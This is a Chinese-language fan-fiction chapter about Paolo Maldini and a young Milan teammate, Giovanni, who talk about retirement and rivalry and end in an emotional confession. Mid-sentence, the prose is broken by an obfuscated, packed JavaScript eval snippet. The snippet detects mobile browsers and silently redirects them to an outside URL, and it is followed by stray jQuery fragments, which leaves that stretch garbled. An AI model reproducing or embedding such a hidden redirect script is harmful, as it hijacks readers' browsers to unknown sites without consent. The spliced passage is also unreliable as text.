马尔蒂尼原本正坐在桌前写着比赛记录，听见门被推开却没听到来人的动静，便转头朝门口望去——随即就被悄无声息站到身后的乔瓦尼吓了一跳。
年轻人眼眶有些红，表情凝重。
马尔蒂尼从椅子上起身：“乔，找我有事？”
乔瓦尼原本焦躁的情绪，在见到马尔蒂尼的瞬间平复了不少。他在床边坐下，开口却问得非常生硬：
“……你打算什么时候退役？”年轻人的语气冷冰冰的，简直像是在盼着马尔蒂尼赶紧离开一样。
米兰队长见状重新坐回椅子上，开口说道：“我的膝盖有伤，速度也在逐年下降，今后想再频繁插上进攻恐怕会越来越难。不过如果改踢中卫的话，或许还能再踢个六七年。”
乔瓦尼闻言心里一沉——这比约翰说的十年还要短。
“那退役之后你打算做什么？”他立刻追问道。
马尔蒂尼并不清楚乔瓦尼为什么突然提起“退役生活”，但他知道这终究是每个球员都绕不开的话题。他不想敷衍面前的年轻人，认真思考片刻后才缓缓说道：“我不太想做教练，退役后应该会先远离足球，去美国住一段时间，放松身心。在那之后的事情，我还没有想好。”
美国？乔瓦尼一愣，那不就变得和德国队那位前队长一样了吗？在不同的大陆，隔着整片大西洋，太阳东升西落的时间都不一样——他们的生活会被时间一点点割裂，然后一步步错开，越来越远，直至再也没有交集。
马尔蒂尼察觉到了乔瓦尼低落的情绪，轻声问道：“今天发生什么事了吗？”面前这个年轻人的状态明显不太对劲。
“今天发生了很多事。”乔瓦尼低着头，目光落在自己的拖鞋上，“我不明白因扎吉先生和皮耶罗先生为什么会变成现在这样，也担心我和安德烈亚将来会不会也走到那一步……”
不等马尔蒂尼接话，乔瓦尼就自己继续说了下去：
“其实，我也不是完全不明白。上赛季皮耶罗先生重伤，因扎吉先生一个人扛起尤文锋线，战术角色和分量都跟以前完全不同了。现在皮耶罗先生伤愈复出，但状态一直没找回来。按说球队的战术资源应该继续围着因扎吉先生转，可谁都清楚，皮耶罗先生才是尤文真正的核心，他的球衣销量、商业号召力，还有在球迷心中的情感价值，都不是因扎吉先生仅凭一个赛季就可以追赶上的，更何况上赛季尤文成绩又那么差。他俩关系变僵，说到底是因为竞争，是因为在球队中的地位不同。”
直到现在，乔瓦尼都记得当初因扎吉语气笃定地说过，他会在尤文待很久。
但照目前的发展来看，这只是一个美好却不现实的期冀罢了。
马尔蒂尼轻轻叹了一口气，温和地接过话：“所以，其实你的理性已经告诉了你答案，但感情上还是难以接受，对吗？”
乔瓦尼抬起右手，看着绷带上写着的朋友名字，低声说道：“就算我知道让所有人都不转会是不现实的，我还是会幼稚地希望，能和他们一起在米兰退役。”
“我也清楚，安德烈亚来到米兰后并没有坐稳首发……双子星这种称呼，只有在两个人成绩相当时才成立，否则只会变成媒体拿来比较的工具。但是他什么也没说，直接签下了自己的名字。他天天说里诺不聪明，但其实他也挺傻的，我们都挺傻的。”
看着乔瓦尼露出自嘲的笑容，马尔蒂尼缓缓说道：
“乔，我们有时候，其实没必要活得那么聪明。”
“理性，是我们区别于其他动物的标志，它让我们做出正确的选择。”他随即笑着解释道，声音很轻，却很稳，“但人类的感性，那些炽热的、痛苦的、真挚的情感，才是我们活在这个世界上的意义所在。”
“聪明人也许能避开错误，却也会错过一些真正的美好。安德烈亚当初在转会时有很多选择，但他选了米兰。我无法确定他做出这个决定的全部原因，但我想，你确实是他考虑的一部分。”
“未来会怎样，没有人知道。”马尔蒂尼看着乔瓦尼，语气缓慢而笃定，“你不傻，你只是太在乎了。你在乎安德烈亚，珍惜你们之间的友情，所以才会痛苦。这很正常。你不需要和这种情绪对抗，也不必逼着自己想明白一切。接受它，珍惜现在能和安德烈亚一起训练、一起比赛的时光，就够了。”
乔瓦尼听完，沉默地站起身，一步一步朝马尔蒂尼走去。他很快察觉到，随着自己靠近，男人的身体在逐渐紧绷。
“那你呢？”他低声问道，“你也有那些炽热的、痛苦的、真挚的情感吗？在看到范巴斯滕先生被铲伤时，你在想什么？在他退役的时候，你又在想什么？”
马尔蒂尼像是被什么钉在了原地，一时失语。而乔瓦尼的话并没有停下。
“我知道你一直在避免和我在球场外接触，我不明白为什么，但是现在想来，你并不讨厌我，你甚至会在我进球后目不转睛地看着我。你会允许我讽刺你，也允许我揍你，这根本不是队长和普通球员之间该有的关系。”
马尔蒂尼试图站起身，却发现乔瓦尼已经站在了他双腿之间。
他只能坐着，抬头看着这个年轻人。
“我本来以为，你这样容忍我，只是在补偿之前突然疏远对我造成的伤害。”乔瓦尼摇了摇头，“但我现在觉得，你的愧疚底下还有别的东西。如果只是愧疚，你不会在我靠近你的时候，这么紧张。”
马尔蒂尼皱起眉头，缓缓开口：“乔，关于这件事……”
“你刚刚才劝我，说人不必活得那么聪明。太理性或许能避开错误，却也会错过真正美好的东西。”乔瓦尼轻轻笑了一下，“可你呢？你自己也做不到。”
马尔蒂尼忽然深吸一口气，“马尔科受伤时，我其实想冲上去打断对方的鼻梁，但我没有。他退役时，我也想紧紧抱住他哭出来，但我没有。”
他抬起眼睛，目光落在乔瓦尼年轻的脸上：“乔，我是个马尔蒂尼。大多数时候我只能选‘正确’的那条路。”他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031633|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音低沉下去，“而在你的事情上……就算我不是马尔蒂尼，我也只能选‘正确’，我不能毁了你……你明白吗？”
乔瓦尼的脸上忽然浮现出脆弱的神情。
“可我这个人……从出生起就是破碎的。”他声音发颤，“是约翰、是你、是你们所有人，一片一片把我拼成了现在的样子。”
泪水终于从他的眼眶滚落。
“我讨厌你疏远我，讨厌你避开我的目光，讨厌你和安德烈住在同一栋房子里……就算你退役了，我也想每天见到真实的你，而不是一张塞在钱包里永远不会说话的照片！”
房间骤然陷入沉寂。
马尔蒂尼静默了许久，像是在慢慢消化乔瓦尼的每一句话。年轻人的勇气、真诚与直白，正不断搅动着他极少容许自己去感受的某些东西。
他下意识抬起手，想替乔瓦尼擦去脸上的泪水，却又在半空猛地顿住，缓缓垂落。
下一秒，乔瓦尼却一把抓住了他的手腕。
“你这是什么意思？”年轻人哽咽地问道。
马尔蒂尼立刻想站起身：“我去拿纸巾——”
话音未落，乔瓦尼已松开男人的手腕，转而按住对方的肩，使足力气想将马尔蒂尼压回椅子。可米兰队长在推力下维持着半起身的姿势，连晃都没晃一下。
气氛突然安静得有点好笑。
就在乔瓦尼脸上开始发烫，意识到自己的“压制”在对方眼里恐怕跟小猫小狗扑人差不多时，马尔蒂尼忽然眨了眨眼，随即非常配合地自己坐了回去。
“噗。”一声没憋住的笑从旁边传来，乔瓦尼抿了抿嘴，是自打进屋就一直保持沉默的克鲁伊夫。
“不好意思，孩子。”荷兰人把脸转到另一侧，“你继续。”
被这么一打岔，乔瓦尼仿佛一个骤然泄了气的气球，激烈的情绪迅速退潮，只剩下空荡荡的失落。他用手背胡乱抹了把眼睛，有些无措地向后退了一小步。
就在这时，马尔蒂尼忽然开口：
“那我就去考教练证。”
乔瓦尼怔怔地看向他。
“或者做点别的……只要能让我退役后继续留在米兰工作。”马尔蒂尼注视着年轻人的眼睛，认真地说，“我不去美国了，我会常住米兰。你依然可以每天见到真实的我，而不是一张不会说话的照片。”
他顿了顿，清晰地说道：
“我保证。”
有什么温暖的东西，忽然涌进了乔瓦尼胸口的空洞。
他愣愣地站在原地，许多纷乱的念头忽然沉淀下来，他所有的不安、愤怒、委屈与失控，或许从来都与马尔蒂尼退役无关。
他只是害怕失去保罗·马尔蒂尼这个人。
而他的愿望，也在这一刻变得异常简单：
无论现在，还是将来，无论在球场内还是球场外，无论以什么身份，他都想和这个人在一起。
他想和马尔蒂尼生活在同一座城市，看同样的日出与黄昏。